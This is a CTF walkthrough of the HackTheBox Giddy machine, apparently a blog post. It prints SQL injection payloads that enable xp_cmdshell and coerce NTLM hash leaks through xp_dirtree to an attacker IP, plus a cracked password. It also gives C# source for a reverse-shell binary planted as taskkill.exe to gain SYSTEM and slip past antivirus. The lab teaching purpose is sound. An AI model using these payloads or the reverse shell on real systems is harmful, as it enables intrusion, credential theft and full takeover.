HackTheBox Giddy Write Up
Join security researcher Shaksham Jaiswal on a technical deep dive into HackTheBox's Giddy CTF.
I've been away from writing for a while but when I saw Giddy was retiring I had to write about it. It was a pretty cool box from HackTheBox with a new technique I came across for the first time. So, lets dig in and have at it!
RECON AND ENUMERATION
Lets start with an nmap scan as always -
# nmap -sC -sV -oN giddy.nmap 10.10.10.104
Nmap scan report for 10.10.10.104
Host is up (0.33s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
443/tcp open ssl/http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows Server
| ssl-cert: Subject: commonName=PowerShellWebAccessTestWebSite
| Not valid before: 2018-06-16T21:28:55
|_Not valid after: 2018-09-14T21:28:55
|_ssl-date: 2019-02-06T06:03:02+00:00; -1s from scanner time.
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=Giddy
| Not valid before: 2019-02-05T05:02:59
|_Not valid after: 2019-08-07T05:02:59
|_ssl-date: 2019-02-06T06:03:02+00:00; -1s from scanner time.
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1s, deviation: 0s, median: -1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 121.53 seconds
We have ports 80 and 443 with IIS running as well as RDP open ( yayy! ).
Let's dirb the website and check what's on the server.
$ python3 dirsearch.py -u http://10.10.10.104 -t 200 -e aspx
_|. _ _ _ _ _ _|_ v0.3.8
(_||| _) (/_(_|| (_| )
Extensions: aspx | Threads: 200 | Wordlist size: 220521
Error Log: /home/zadmin/Documents/wiz/dirsearch/logs/errors-19-02-06_11-37-27.log
Target: http://10.10.10.104
[11:37:28] Starting:
[11:37:31] 200 - 700B - /
[11:37:51] 302 - 157B - /remote -> /Remote/default.aspx?ReturnUrl=%2fremote
[11:39:13] 301 - 147B - /mvc -> http://10.10.10.104/mvc/
The /remote
page redirects us to the https page for powershell webaccess console. The /mvc
page directs us to a product website like thing.
SQLI AND STEALING NTLM HASHES
Clicking on one of the products led me to the page http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1
. I fed this link to sqlmap and it found it injectable.
But before we go on our DB dumping frenzy let's check if we can use xp_cmdshell. As we can use stacked queries, here's what I did - http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1; EXEC sp_configure 'show advanced options', 1; EXEC sp_configure 'xp_cmdshell', 1; reconfigure with override; exec master..xp_cmdshell 'ping -n 10 localhost' -- -
. But the page responded without any delay so I guess we can't use xp_cmdshell.
Then I dumped the whole DB and found nothing useful. On looking for alternative ways to pwn SQL Server I came across this blog post - https://osandamalith.com/2017/03/24/places-of-interest-in-stealing-netntlm-hashes/ .
So hopefully we can abuse xp_dirtree to steal the user's ntlm hashes. Lets check it out. I'll be using the smb capture module from metasploit to steal the hashes. Here's what I did -
10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1; exec master..xp_dirtree '\\10.10.12.75\pwn' -- -
And immediately I see dem hashes rolling in!
I found out that even xp_fileexist can be used for the same purpose - http://10.10.10.104/mvc/Product.aspx?ProductSubCategoryId=1; exec master..xp_fileexist '\10.10.12.75\pwn' -- -
Since we can't relay the hash to the same host, we'll have to crack it and john does it pretty quickly.
# john giddy_hash_netntlmv2 --wordlist=/home/minato/Downloads/rockyou.txt
Using default input encoding: UTF-8
Loaded 14 password hashes with 14 different salts (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
xNnWo6272k7x (Stacy)
Now we have the password for Stacy and can use Powershell webaccess or RDP to login to the box. I prefer the web console since it's faster but you can even RDP in with remmina if you wish to.
The server might turn unresponsive sometimes so it's better to issue a reset before logging in. You can even try getting a meterpreter etc... but I didn't find any use as the web console was good enough.
PRIVESC
Straight-away I notice the unifivideo file.
On searching about it I found a local privesc vulnerability related to it - https://www.exploit-db.com/exploits/43390/ .
Due to insecure ACLs we can write taskkill.exe in the program's folder which will get executed by SYSTEM when the service stops.
First let's verify if the version on Giddy is vulnerable cus all this would be for nothing otherwise. The system.properties file confirms that the version is vulnerable.
Having confirmed this, the only task left is to create a malicious taskkill.exe and place in the folder.
But before anything else we need to figure out the service name to be able to start and stop it.
Looks like we don't have the permissions to query the Service manager. But registry comes to the rescue , we could possibly look into the registry to find the service.
The HKLM:\SYSTEM\CurrentControlSet\Services\
key is supposed to contain information about the services on the system. Here's what I did next -
Now we have the service name i.e "UnifiVideoService".
Since the defender is running, normal msfvenom templates have less chances of working. So, instead of juggling around with AV Bypass programs we can create our own "innocent" binary. :)
Lets make a binary which communicates with us using sockets. It's more stealthy and easy to code with .NET .
I'll be using Mono on my Ubuntu because who needs Windows ?
The code is a bit long to paste at once, so I'll explain it bit by bit.
First create a socket and establish a connection.
Socket s = null;
String server = "10.10.12.75";
byte[] res = new byte[1024];
byte[] msg = Encoding.UTF8.GetBytes("Pwned Giddy!\n");
IPAddress me = IPAddress.Parse(server);
IPEndPoint i = new IPEndPoint(me, 443); // Our IP and Port
s = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
s.Connect(i);
if(s.Connected) {
s.Send(msg, 0, msg.Length, SocketFlags.None);
}
On successful connection jump into a loop which handles input and output.
while(true) {
Array.Clear(res, 0, res.Length);
s.Receive(res, 0, s.Available, SocketFlags.None);
String cmd = (Encoding.UTF8.GetString(res)).Trim();
cmd = cmd.Replace("\r", string.Empty);
cmd = cmd.Replace("\n", string.Empty);
if(!string.IsNullOrEmpty(cmd)) {
byte[] output = Encoding.UTF8.GetBytes(getOutput(cmd));
s.Send(output, 0, output.Length, SocketFlags.None);
}
}
Now the getOutput() function which executes our commands.
public static String getOutput(String cmd) {
var psi = new ProcessStartInfo {
FileName = "cmd.exe",
Arguments = "/c " + cmd,
RedirectStandardOutput = true,
RedirectStandardError = true,
UseShellExecute = false
};
Console.WriteLine(psi.Arguments.Trim());
var p = Process.Start(psi);
String res = p.StandardOutput.ReadToEnd();
res += p.StandardError.ReadToEnd();
p.WaitForExit();
return res;
It takes in our command, builds the proper command, executes it and returns the result to Main.
I've put it on gist for you to look - https://gist.github.com/MinatoTW/c540c3c4c3ce494a603fe15601c17646 . (Warning!! Hazardous code inside. )
Now lets compile and upload this baby for shellz. Use mcs Server.cs -out:taskkill.exe
to compile the binary.
And w00t!
We are r00t!!
Of course the exe could've been much better with a prompt, exception handling etc. etc... But I'll leave that up to you. ;)